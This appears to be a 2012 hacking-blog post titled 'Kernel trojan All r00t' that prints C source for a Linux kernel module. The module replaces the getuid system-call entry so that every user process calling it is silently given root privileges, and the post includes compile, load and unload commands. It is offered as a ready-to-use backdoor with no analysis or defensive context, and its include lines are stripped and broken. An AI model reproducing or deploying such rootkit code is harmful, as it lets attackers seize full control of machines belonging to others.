BLACK BURN HACKER. Powered by Blogger.

Real Money Instantly

 

Monday, April 23, 2012

Kernel trojan All r00t

0 comments


* A kernel trojan (basic linux kernel module)
*
* Description: gives all users root
* Compile: gcc -c -O3 all-root.c
* Load: insmod all-root.o
* Unload: rmmod all-root


#define MODULE
#define __KERNEL__
#include #include #include 
#include 
#include 
#include 
#include 
#include #include #include 
#include #include #include
extern void *sys_call_table[];
int (*orig_getuid)();
int give_root()
{
int x;
if (current->uid != 0) {
current->uid = 0;
current->gid = 0;
current->euid = 0;
current->egid = 0;
}
return 0;
}
int init_module(void)
{
orig_getuid = sys_call_table[SYS_getuid];
sys_call_table[SYS_getuid] = give_root;
return 0;
}
void cleanup_module(void)
{
sys_call_table[SYS_getuid] = orig_getuid;
}

©2012, copyright BLACK BURN

0 comments:

Post a Comment

 

7 Years Earning Experience

The Earning Source You Can Trust

Follow by Email